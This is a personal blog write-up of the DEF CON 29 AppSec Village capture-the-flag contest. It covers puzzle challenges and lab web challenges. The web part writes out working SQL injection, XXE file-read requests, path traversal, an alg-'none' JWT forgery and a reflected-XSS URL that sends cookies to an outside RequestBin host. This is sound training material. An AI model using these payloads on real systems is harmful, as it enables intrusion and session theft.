AppSec Village DEF CON 29 CTF Writeup

This past weekend was DEF CON 29 (my second virtual DEF CON, though it was a hybrid event this year). Knowing that most content both from the main tracks as well as the villages would become available on YouTube, I decided to postpone serious talk-watching for later, in favor of interaction with other virtual con-attendees and switching between random talk-streams in the background for the weekend.

Since – unlike last year – I wouldn't be presenting, I thought I'd brush up on some CTF'ing in the AppSec Village's Capture The Flag contest (between rage-tweeting about Apple's upcoming client-side CSAM scanning, and setting up a new home office). Though a bit rusty, I registered alone for a solo-team and managed to get the 9th place (out of 95 contestant teams).

Competition Scoreboard

Below is a write up of the challenges I solved.

[TOC]

Application Security Principles

Questions 1 through 10

These were basically free points in the form of two-alternative questions.

Cryptography / Steganography

Kitty Rescue Challenge - Part 1

Challenge

Goal: Answer the following question: Where is my Kitty? Rules: Cheat whenever possible.

The .zip file contained in this part has all the files for the following parts of this challenge.

I downloaded the zip-file, which contained a text-file and another zip-file. The text-file read:

Her name is Gaia and she is 11 years old. The is almost a fully black fur kitty. A little bit of white fur in her neck. No collar or something.
She does has a boyfriend cat called Caesar. That is the cat from the house next to us. She spend a lot of time with him outside, enjoying the sun and catching birds.

Ytnp, rzzo uzm! Mfe ozye piapne te ez mp pldj. Esp alddhzco ty zcopc ez mprty LSLCUSDPERUC%PUCEUPCSCUUPCSUcUEUVEKZCCUPCU

Solution

The mention of Caesar (as well as the look of the text) made me suspect this was a simple substitution cipher. I pasted the text in CyberChef, ran it through ROT13, and experimented with the shift amount. At 15, the output read:

Nice, good job! But dont expect it to be easy. The password in order to begin AHARJHSETGJR%EJRTJERHRJJERHJrJTJKTZORRJERJ

Kitty Rescue Challenge - Part 2

Challenge

Using the password obtained in the previous challenge, I extracted 1-Start.zip. The resulting folder held a README-file, as well as number-prefixed files for the remainder of the "Kitty Rescue"-challenges. 1-Read_Me.txt read:

SO THERE YOU ARE!!!!
Thank you! It is really bad.....
Everyone should look out for her! Idk what happend to her.
Generally I would assume you know where I am talking about... My cat has been missing :(
All you need will be in this file. She is a smart kitty and left a trail so I could find her if anything happend.
Nothing worked. I tries almost everything.
Often she would go to a different garden but never for this long.
Got all the catnip and food but she is just not here to react to it.
Ready to help me out? It would mean a lot to me!
And don't worry, she would not bite. She is a real sweetheart.
PANIC!!!! Just kidding >->
Have fun!
You will definitely learn something!

You will find two pictures of her so you know how she looks!

The file associated with this assignment, 2-Kitty.png looked like this:

Kitty portrait

Solution

As the category was called "Cryptography / Steganography", I thought there could be some stego going on in this picture. I found an online Least Significant Bit steganography tool and attempted to decode the image. The output read:

[Gaia] Oh No! If you are looking at my picture that means that I am in trouble?! Please continue and go find me. The password is *96*)K3Jz$5*)4(0$%f)5*)4($U0^6*)(J3*3o5*)0

Kitty Rescue Challenge - Part 3

Challenge

I used the password from the previous challenge to extract 3-Kitty.zip. Inside was a file called Kitty.png – but there was no image to see when opening it.

Solution

I opened the image in a hex editor (Hex Fiend is a great one for macOS), and noticed that the 116 first bytes were:

OhNoThisIsNotHowAPNGStarts.PNG        IHDR   .         y-.<    pHYs    ToBeSureIAlsoAddedThisStringToBreakIt      ..

I changed it to how a PNG is supposed to start:

.PNG        IHDR   .         y-.<    pHYs          ..

This made the image visible:

Cat in a box

The password is in the bottom of the box, at the bottom of the image: *KK$3Jz$9$LT3%*0$OU0^J3*3o0^$9^JKT3^$9JD%f

Kitty Rescue Challenge - Part 4

Challenge

I opened the file 4-Letter.pdf using last challenge's password.

The document appeard to read:

Hey there!!
Good job you came this far. You should be really proud but I am still lost so please find me. Sometimes things are not as black and white as we think they are. Sometimes we think too complex about a simple solution.
Kind regards, Gaia

After the text there was a lot of blank space.

Solution

Playing around in the document, I held down my mouse button at the beginning of the document's text, dragging all the way to the bottom of the document (the "empty" part) – which revealed that there was some tiny, "invisible" text at the bottom:

PDF with hidden text

I copied the text, and pasting it in a document revealed it read: 39$OUt53oY%0^G39ou395iHuD53uJz3%0z$9$D^9%t

Kitty Rescue Challenge - Part 5

Challenge

I extracted the final file 5-Location.zip, revealing an image Location.png.

There was visible hints in the image, so I tried opening it in a hex editor, as well as extracting information from the least significant bits, but I didn't find anything.

Looking at the image's EXIF-metadata (using ExifTool), I didn't find any other interesting information than GPS-location:

GPS Latitude                    : 59 deg 12' 49.01" N
GPS Longitude                   : 18 deg 23' 9.15" E
GPS Position                    : 59 deg 12' 49.01" N, 18 deg 23' 9.15" E

I looked the place up using Google Earth

The cat's location

This revealed the final password: Brevik, Sweden

Reverse Engineering

Password?

Challenge

My friend is developing a program which has a login functionality. I know it's insecure but he isn't listening. Can you help me prove the point by finding out his password from the program?
Please be sure to encase the flag in ASV{} as it is not included in the flag provided in the challenge! The flag will not work without the encasing!

Solution

I downloaded the associated archive RE-1.zip, and extracted a C#-file index.cs from it, which read:

using System;

namespace ReverseOne
{d
    class Program
    {
        static void Main(string[] args)
        {
            string[] passwd = new string[9];

            // I've left the password scrambled so that I can easily remember it if I forget it
            passwd[0] = "1";
            passwd[9] = "r";
            passwd[5] = "h";
            passwd[1] = "3";
            passwd[2] = "3";
            passwd[4] = "_";
            passwd[6] = "@";
            passwd[3] = '7';
            passwd[8] = "0";
            passwd[7] = "x";

            Console.WriteLine("Enter your username: ");
            string usrName = Console.ReadLine();
            Console.WriteLine("Enter the password for " + usrName) + ": ";
            string password = Console.ReadLine();
            if (password == string.Join("", passwd)) {
                Console.WriteLine("Welcome " + usrName);
            } else {
                Console.WriteLine("Incorrect password");
                Main();
            }
        }
    }
}

Looks pretty easy. I quickly wrote the following JavaScript (because JS would lead to less typing, and manually rewriting/processing stuff after copy-pasting):

let passwd = new Array();
passwd[0] = "1";
passwd[9] = "r";
passwd[5] = "h";
passwd[1] = "3";
passwd[2] = "3";
passwd[4] = "_";
passwd[6] = "@";
passwd[3] = '7';
passwd[8] = "0";
passwd[7] = "x";
console.log(passwd.toString);

The output read:

'1,3,3,7,_,h,@,x,0,r'

Static Code Analysis / Reversal

Regrettably, I didn't find time to attempt to solve these...

Stego & Crypto

Gross!

Challenge

I left the clue outside in the sun too long and forgot about it... and it went bad and turned into this. Pretty sure it's still usable.

|@=5D[ 2?5 @E96C 7F?8: E6?5 E@ 8C@H @? 5:776C6?E EJA6D @7 C@EE:?8 @C82?:4 >2E6C:2=D 2C6 DEF5:65 3J E9:D 8C@FA @7 A6@A=6 42==65 Wu{pvX

Solution

I had no idea what sort of cipher was used on this text, so I used DCODE's Ciper Identifier. It Suggested it was in all likelihood ROT-47.

Decoding the text using ROT-47 revealed the following text:

Molds, and other fungi tend to grow on different types of rotting organic materials are studied by this group of people called (FLAG)

A quick search for "people that study fungi and mold" taught me that they are called MYCOLOGISTS.

Pick It Up

Challenge

Tdy lgfrti hleg sTIWSOESoasfa o hscalnei HSATOAY

Solution

Again, I used DCODE's Ciper Identifier, which suggested to try the Rail Fence (Zig-Zag) Cipher. Decoding the text using that cipher output: Todays·flag·for·this·challenge·is·THISWASTOOEASY.

Saving As

Challenge

Opening this with Notepad looks.. Really weird. It just feels wrong. Can you figure out what in the heck is in this file?

Solution

I downloaded the associated file SavingsAsChallenge.txt. Opening it as a text-file revealed garbled nonsense, so I i viewed it with a hex editor – which revealed the string JFIF (JPEG File Interchange Format, as an internet search will tell you) near the beginning of the file. Renaming the file as SavingsAsChallenge.jpeg showed me an image:

Image of barcodes

After a few dead ends reverse-image searching, I thought of decoding the barcodes on the tags in the photo.

The one on the right looks different (smudging/white-bleed on the text above it; much sharper than the one to its left) and probably artificially inserted. I adjusted it in an image editing application:

Adjusted barcode

I then analyzed it using the online ZXing Decoder Online tool, which told me its contents was text: e3800f93cfa8b2b6743953b4219082c4. This was not the flag.

Using CyberChef, I analyzed the hash, and concluded it was probably an MD5-hash or something like it.

I then found a free password hash cracker, Crack Station, and entered the hash. It turned out to be an MD4-hash of drinkyourovaltine– which was the solution.

Web

Exposed Panel

Challenge

You found an exposed admin panel on a website where you can search the usernames of the users. Can you escalate this further?

Solution

The associated webside showed a text-field used to search for usernames.

Search site

The owner seemed to be named "Agi", so I searched for them:

Search results

Searching for a single quote (inserted in the search field for illustration purposes) revealed some helpful warning- and error-output about the prepared SQL-statement used in the PHP-backend – probably something along the lines of SELECT name FROM <table> WHERE name=<input>; I could also see that the database in question was a SQLite-database.

Performing a SQL-injection, I was able to learn the structure of the database by querying for the SQL using the input Agi'+UNION+SELECT+sql+FROM+sqlite_master'.

Reading SQL structure

Based on the result, I used the following query to view the other (unseen) column of all users: Agi' UNION SELECT RECOVERY FROM USERS'

Getting the flag

The flag ASV{pHp_t@k3s_PhDs} can be seen in the screenshot above.

Read, Register

Challenge

Can you read the flag at /bin/flag.txt?

Solution

Account creation form

Proxying the query form submission through Burp Suite, I noticed that the request contained an XML payload.

POST /process.php HTTP/1.1
Host: 18.117.181.110
Content-Length: 140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://18.117.181.110
Referer: http://18.117.181.110/
Accept-Encoding: gzip, deflate
Accept-Language: nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>E</name><tel>02837432934</tel>
  <email>test@test.test</email>
  <password>lol</password>
</root>

I modified the request to contain an XML external entity (XXE) injection:

POST /process.php HTTP/1.1
Host: 18.117.181.110
Content-Length: 197
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://18.117.181.110
Referer: http://18.117.181.110/
Accept-Encoding: gzip, deflate
Accept-Language: nb-NO,nb;q=0.9,no;q=0.8,nn;q=0.7,en-US;q=0.6,en;q=0.5
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///bin/flag.txt"> ]>
<root>
    <name>E</name>
    <tel>02837432934</tel>
    <email>&xxe;</email>
    <password>lol</password><
/root>

The response now read:

HTTP/1.1 200 OK
Date: Mon, 09 Aug 2021 21:41:18 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/8.0.9
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

Sorry, ASV{XML_1S_0LD_4ND_B4D}
 is already registered!

... containing the flag ASV{XML_1S_0LD_4ND_B4D}.

I Can Read Your Files!

Challenge

During a pentest on this website, you notice something is off. This web app might be using the path to a file as input! Can you figure out what the vulnerability is and exploit it to find the flag?

Solution

The site taunted me.

No access

I noticed that by default, a GET-parameter had been set: the URL ended with ?lang=en.

I checked if the site supported Norwegian by changing it to ?lang=no

Norwegian not supported

It seemed the site took whatever value the lang-parameter had, appended .txt to it, and searched for the resulting filename in ../lang/ (i.e.) the webroot's parent directory.

By changing the parameter yet again – so that the URL was the equivalent of https://<SITE>/?lang=../flag i got the following output:

Flag from file

The output now included the flag (ASV{LFI_FTW_2EZ}).

Authentication Matters

Challenge

I found a page that only the site admins can access. Can you break into it? 

Note: There is no need for any bruteforcing to be done. All you need is this page!

Solution

Navigating to the challenge URL gave me an empty page stating Authentication required.

Checking the browser storage, I noticed that a cookie had been set:

Session cookie

It looked very much like a JWT token (confirmed by decoding as Base64 and removing non-alphabetical characters):

Inspecting the token

Using an online debugger, I inspected the token.

The decoded token

Reading the IETF JWT Memo, i noticed something interesting:

6.  Unsecured JWTs

   To support use cases in which the JWT content is secured by a means
   other than a signature and/or encryption contained within the JWT
   (such as a signature on a data structure containing the JWT), JWTs
   MAY also be created without a signature or encryption.  An Unsecured
   JWT is a JWS using the "alg" Header Parameter value "none" and with
   the empty string for its JWS Signature value, as defined in the JWA
   specification [JWA]; it is an Unsecured JWS with the JWT Claims Set
   as its JWS Payload.

I then modified the token, by removing the signature (the part behind the dot/period – JWT is formatted as <token>.<signature)

Removing the signature

Then changing the algorithm-parameter to "none" and removing the payload:

Fixing the token

Editing the cookie in the browser and reloading the page now shows us something different.

Accessing the site

Scroll down a bit, and see the flag (n0_s1gn@tur3_r3qu1r3d)

The flag

Send Me Something Interesting!

Challenge

Man, you gotta send me something interesting here. I check ALL submissions! Almost always online!

~ elliot

Solution

The challenge site is a form that consists of a text-field used to send a URL for the site owner to check out. Inspecting the site's markup reveals this comment:

<!-- Note to sociallyencrypted, I have started working on the API endpoint. Check it out the test endpoint here /api/test -->

Checking out the API (i.e. URL https://<SITE>/api/test) returns the text

Use the parameter 'key' to make it reflect.

Updating the URL to include the "key"-parameter (i.e. URL https://<SITE>/api/test?key=test) now returns the text

test like this! see? i am an API guru!

This sure looks like a reflected Cross Site Scripting (XSS)-opportunity to me, as the API response seems to print out anything put in the key-parameter of a request. This also means that anyone using the API via a browser (i.e. visiting a link pointing there) would have their browser render any markup (HTML) – possibly including dynamic content (JavaScript). Setting the key-parameter to <script>alert(1)</script> pops an alert-dialog in my browser, and confirms my suspicion.

I create a free HTTP Request inspection service at RequestBin, and craft a payload that would steal a visiting user's cookies by making a request to my service with the user's cookies as parameters. The resulting URL (including payload) is

http://3.142.52.170/api/test?key=%3Cscript%3Ewindow.location=%22http://requestbin.net/r/bao6ejkd?cookies=%22+JSON.stringify(document.cookie)%3C/script%3E

Then I submit the URL to the site:

Submitting the cookie stealing payload

After a few minutes, I check my RequestBin, and see the flag (C0ok13_th31f) was in the visiting user / site owner's cookies:

Request Bin with Flag

Wrap-up

I'd like to thank the volunteers of the AppSec Village for hosting this great CTF, and for a great village.

I had so much fun that, even though I didn't have that much free time this weekend because of other commitments, I ended up staying up all night between saturday and sunday to work more on the challenges.

This definitely got me interested in picking up CTF'ing again, and maybe even look for or start a team (don't hesitate to hit me up if anyone wants to collaborate on this)!

Older post
SSL/TLS-Decryption and the GDPR